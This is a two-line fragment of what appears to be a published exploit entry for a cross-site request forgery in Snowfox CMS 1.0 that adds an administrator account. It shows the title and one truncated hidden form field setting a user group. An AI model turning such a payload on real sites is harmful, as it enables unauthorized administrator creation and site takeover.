Snowfox CMS 1.0 - Cross-Site Request Forgery (Add Admin)

input type="hidden" name="userGroups" value="34"...